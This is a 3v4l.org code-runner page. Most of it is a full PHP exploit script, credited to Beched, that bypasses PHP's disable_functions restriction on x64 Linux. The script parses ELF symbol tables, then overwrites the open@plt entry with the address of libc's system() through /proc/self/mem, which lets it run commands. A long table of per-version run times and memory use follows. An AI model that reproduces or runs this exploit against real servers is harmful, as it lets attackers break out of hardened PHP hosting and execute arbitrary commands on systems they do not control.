3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* $libc_ver: beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc 7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so $open_php: beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$' 0000000000e94998 R_X86_64_JUMP_SLOT open $system_offset and $open_offset: beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@" 1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5 1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5 */ function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } function unp($value) { return hexdec(bin2hex(strrev($value))); } function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } } echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n"; if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } echo "[*] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[*] Libc location: $r[1]\n"; echo "[*] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, $open_php); $open_addr = unp(fread($mem, 8)); echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n"; $libc_start = $open_addr - $open_offset; $system_addr = $libc_start + $system_offset; echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n"; echo "[*] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); fseek($mem, $open_php); if(fwrite($mem, packlli($system_addr))) { echo "[+] Address written. Executing cmd\n"; readfile('/usr/bin/id'); exit; } echo "[-] Write failed. Exiting\n";

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00418.31
8.3.50.0120.00821.97
8.3.40.0070.00718.91
8.3.30.0070.00718.96
8.3.20.0080.00020.34
8.3.10.0040.00421.95
8.3.00.0080.00019.67
8.2.180.0060.01216.88
8.2.170.0110.00822.96
8.2.160.0070.00720.52
8.2.150.0000.01024.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0040.00421.04
8.2.110.0030.00622.10
8.2.100.0040.00817.91
8.2.90.0050.00319.05
8.2.80.0000.00817.97
8.2.70.0040.00417.62
8.2.60.0090.00018.05
8.2.50.0040.00418.07
8.2.40.0050.00318.12
8.2.30.0050.00518.05
8.2.20.0000.00817.76
8.2.10.0090.00018.22
8.2.00.0030.00517.84
8.1.280.0070.00725.92
8.1.270.0040.00421.91
8.1.260.0080.00026.35
8.1.250.0080.00028.09
8.1.240.0090.00023.80
8.1.230.0040.00719.27
8.1.220.0030.00517.80
8.1.210.0050.00318.77
8.1.200.0030.00717.47
8.1.190.0040.00417.76
8.1.180.0060.00318.10
8.1.170.0060.00318.47
8.1.160.0040.00422.14
8.1.150.0030.00619.05
8.1.140.0000.00817.59
8.1.130.0000.00817.84
8.1.120.0050.00217.47
8.1.110.0000.00717.47
8.1.100.0000.00817.36
8.1.90.0000.00817.50
8.1.80.0000.00717.51
8.1.70.0000.00717.55
8.1.60.0030.00617.64
8.1.50.0000.00917.63
8.1.40.0000.00817.63
8.1.30.0040.00417.58
8.1.20.0030.00617.70
8.1.10.0000.00817.59
8.1.00.0040.00417.52
8.0.300.0040.00418.77
8.0.290.0070.00017.43
8.0.280.0040.00418.66
8.0.270.0000.00717.48
8.0.260.0030.00317.42
8.0.250.0000.00817.22
8.0.240.0070.00017.20
8.0.230.0040.00417.16
8.0.220.0030.00717.07
8.0.210.0040.00417.03
8.0.200.0030.00317.13
8.0.190.0020.00717.20
8.0.180.0000.00817.13
8.0.170.0080.00017.15
8.0.160.0000.00817.10
8.0.150.0060.00317.12
8.0.140.0040.00417.00
8.0.130.0160.00627.39
8.0.120.0020.00517.12
8.0.110.0090.00017.14
8.0.100.0040.00417.06
8.0.90.0040.00417.18
8.0.80.0060.00917.12
8.0.70.0000.00816.97
8.0.60.0000.00717.02
8.0.50.0050.00217.00
8.0.30.0080.01317.35
8.0.20.0080.01417.40
8.0.10.0030.00517.23
8.0.00.0090.00817.19
7.4.330.0160.00029.05
7.4.320.0000.00716.66
7.4.300.0060.00016.69
7.4.290.0000.00716.70
7.4.280.0060.00316.58
7.4.270.0070.00016.63
7.4.260.0080.00016.62
7.4.250.0040.00416.66
7.4.240.0020.00516.62
7.4.230.0040.00416.64
7.4.220.0170.00716.62
7.4.210.0100.01016.70
7.4.200.0000.00716.62
7.4.160.0090.00916.50
7.4.150.0090.00917.40
7.4.140.0120.00617.86
7.4.130.0120.00716.58
7.4.120.0130.00616.63
7.4.110.0120.00916.71
7.4.100.0110.00716.65
7.4.90.0040.01316.86
7.4.80.0100.01019.39
7.4.70.0030.01416.78
7.4.60.0100.00716.57
7.4.50.0040.00016.56
7.4.40.0070.01016.59
7.4.30.0090.00916.54
7.4.00.0050.01015.06
7.3.330.0170.00327.00
7.3.320.0100.00727.16
7.3.310.0030.00316.55
7.3.300.0050.00316.57
7.3.290.0070.00716.53
7.3.280.0060.01116.61
7.3.270.0100.01317.40
7.3.260.0120.00616.47
7.3.250.0100.00816.64
7.3.240.0030.01516.46
7.3.230.0000.01616.65
7.3.210.0060.01216.49
7.3.200.0150.00719.39
7.3.190.0190.00916.47
7.3.180.0090.00816.35
7.3.170.0100.00616.74
7.3.160.0070.01016.42
7.3.120.0050.01515.09
7.3.110.0070.01215.10
7.3.100.0060.01115.06
7.3.90.0110.00515.10
7.3.80.0090.00714.91
7.3.70.0000.01415.10
7.3.60.0010.00814.93
7.3.50.0000.01315.01
7.3.40.0030.00614.93
7.3.30.0080.00514.99
7.3.20.0050.01016.74
7.3.10.0050.00816.64
7.3.00.0080.00916.66
7.2.330.0100.01016.75
7.2.320.0090.00916.84
7.2.310.0140.00316.63
7.2.300.0090.00916.79
7.2.290.0100.01116.55
7.2.250.0100.00815.08
7.2.240.0110.00915.17
7.2.230.0050.00814.87
7.2.220.0120.00215.20
7.2.210.0100.00615.21
7.2.200.0030.01015.14
7.2.190.0080.00815.02
7.2.180.0050.01115.03
7.2.170.0010.01215.19
7.2.160.0030.00815.02
7.2.150.0030.01016.90
7.2.140.0030.00916.99
7.2.130.0060.00516.70
7.2.120.0090.00716.80
7.2.110.0080.00616.79
7.2.100.0070.00716.51
7.2.90.0070.00816.82
7.2.80.0030.01116.88
7.2.70.0090.00816.72
7.2.60.0060.01016.77
7.2.50.0100.00816.98
7.2.40.0100.00716.77
7.2.30.0090.00716.69
7.2.20.0060.01016.49
7.2.10.0130.00516.80
7.2.00.0100.00916.64
7.1.330.0060.01015.86
7.1.320.0050.00915.72
7.1.310.0020.01115.74
7.1.300.0050.00815.92
7.1.290.0060.00315.69
7.1.280.0060.00615.84
7.1.270.0070.00915.75
7.1.260.0020.00715.98
7.1.250.0060.00915.71
7.1.240.0100.00315.73
7.1.230.0070.00715.88
7.1.220.0000.01615.95
7.1.210.0060.00915.63
7.1.200.0050.00715.95
7.1.190.0060.00615.88
7.1.180.0120.00015.78
7.1.170.0120.00415.72
7.1.160.0000.01415.66
7.1.150.0030.00615.81
7.1.140.0040.00815.65
7.1.130.0030.01115.71
7.1.120.0000.01515.98
7.1.110.0070.00715.88
7.1.100.0080.00815.85
7.1.90.0070.00715.90
7.1.80.0070.00416.01
7.1.70.0120.00521.59
7.1.60.0080.01721.67
7.1.50.0110.01421.71
7.1.40.0030.00915.66
7.1.30.0030.00715.83
7.1.20.0030.00615.92
7.1.10.0100.00315.84
7.1.00.0080.03820.68
7.0.330.0030.00715.47
7.0.320.0030.01315.45
7.0.310.0080.00415.54
7.0.300.0030.00915.45
7.0.290.0000.01115.52
7.0.280.0040.00715.38
7.0.270.0060.00615.49
7.0.260.0060.01015.26
7.0.250.0070.00715.47
7.0.240.0060.00615.51
7.0.230.0070.00415.28
7.0.220.0000.01515.46
7.0.210.0060.01015.46
7.0.200.1590.01121.17
7.0.190.0030.00715.59
7.0.180.0050.00515.30
7.0.170.0060.00615.38
7.0.160.0000.00915.28
7.0.150.0030.01215.49
7.0.140.0070.01720.32
7.0.130.0040.01115.20
7.0.120.0100.00615.61
7.0.110.0030.01215.57
7.0.100.0040.00815.49
7.0.90.0090.00615.34
7.0.80.0380.04219.38
7.0.70.0130.04019.32
7.0.60.0080.03119.33
7.0.50.0070.02719.63
7.0.40.0070.02218.24
7.0.30.0070.02318.46
7.0.20.0080.02318.46
7.0.10.0070.02318.44
7.0.00.0050.02518.38
5.6.400.0040.00814.34
5.6.390.0040.00714.38
5.6.380.0060.00914.23
5.6.370.0050.00514.68
5.6.360.0060.00614.28
5.6.350.0140.00014.22
5.6.340.0030.01014.45
5.6.330.0030.00914.51
5.6.320.0030.01014.60
5.6.310.0030.00714.36
5.6.300.0060.01014.50
5.6.290.0000.01314.11
5.6.280.0080.04019.42
5.6.270.0090.00614.77
5.6.260.0070.00714.41
5.6.250.0030.00914.41
5.6.240.0030.01314.29
5.6.230.0100.04319.16
5.6.220.0120.03418.99
5.6.210.0020.03019.12
5.6.200.0080.02819.49
5.6.190.0090.02619.29
5.6.180.0050.02919.33
5.6.170.0080.03219.18
5.6.160.0100.03519.45
5.6.150.0050.02319.35
5.6.140.0070.02219.40
5.6.130.0080.02319.24
5.6.120.0080.02719.25
5.6.110.0100.03519.31
5.6.100.0050.02819.41
5.6.90.0050.02619.29
5.6.80.0050.02518.90
5.6.70.0050.03018.86
5.6.60.0000.03118.75
5.6.50.0030.03318.95
5.6.40.0080.03518.86
5.6.30.0180.03319.00
5.6.20.0070.02818.87
5.6.10.0050.04818.72
5.6.00.0080.03818.77
5.5.380.0090.00614.30
5.5.370.0140.03019.05
5.5.360.0150.03718.79
5.5.350.0150.03818.84
5.5.340.0020.02819.27
5.5.330.0100.02019.28
5.5.320.0090.02019.10
5.5.310.0050.02519.18
5.5.300.0080.02119.26
5.5.290.0070.02419.09
5.5.280.0080.02719.38
5.5.270.0090.02419.15
5.5.260.0120.02219.05
5.5.250.0070.02219.09
5.5.240.0060.02718.59
5.5.230.0080.02218.68
5.5.220.0070.02218.65
5.5.210.0100.02018.74
5.5.200.0030.04218.74
5.5.190.0080.02618.69
5.5.180.0100.04218.83
5.5.170.0060.01014.17
5.5.160.0120.02518.51
5.5.150.0030.04218.79
5.5.140.0050.02818.79
5.5.130.0080.04418.87
5.5.120.0070.03718.67
5.5.110.0070.03518.78
5.5.100.0100.02218.59
5.5.90.0120.03918.54
5.5.80.0100.03018.59
5.5.70.0150.02318.71
5.5.60.0050.04618.69
5.5.50.0070.04718.67
5.5.40.0080.04318.62
5.5.30.0050.04818.68
5.5.20.0120.04218.58
5.5.10.0080.03018.59
5.5.00.0070.03818.70
5.4.450.0030.04722.58
5.4.440.0030.05322.55
5.4.430.0000.04322.26
5.4.420.0000.04322.40
5.4.410.0030.04022.34
5.4.400.0030.04021.93
5.4.390.0130.03021.75
5.4.380.0070.05021.84
5.4.370.0100.03321.93
5.4.360.0130.04321.75
5.4.350.0130.08022.10
5.4.340.0100.07321.75
5.4.320.0170.07021.95
5.4.310.0070.07321.80
5.4.300.0130.07021.79
5.4.290.0170.07022.00
5.4.280.0200.07321.84
5.4.270.0170.07721.85
5.4.260.0070.07721.97
5.4.250.0100.04021.93
5.4.240.0200.03021.80
5.4.230.0070.07721.91
5.4.220.0130.07721.94
5.4.210.0100.06021.98
5.4.200.0100.07321.99
5.4.190.0130.07322.06
5.4.180.0030.07722.06
5.4.170.0100.05321.89
5.4.160.0100.07321.89
5.4.150.0170.04321.77
5.4.140.0030.06019.14
5.4.130.0100.07019.22
5.4.120.0100.07019.11
5.4.110.0070.07019.20
5.4.100.0000.06319.37
5.4.90.0170.06719.14
5.4.80.0100.03319.16
5.4.70.0070.07319.14
5.4.60.0070.08019.32
5.4.50.0070.04319.26
5.4.40.0030.07719.22
5.4.30.0100.04019.27
5.4.20.0170.02719.33
5.4.10.0070.05019.30
5.4.00.0130.07018.62

preferences:
57.71 ms | 401 KiB | 5 Q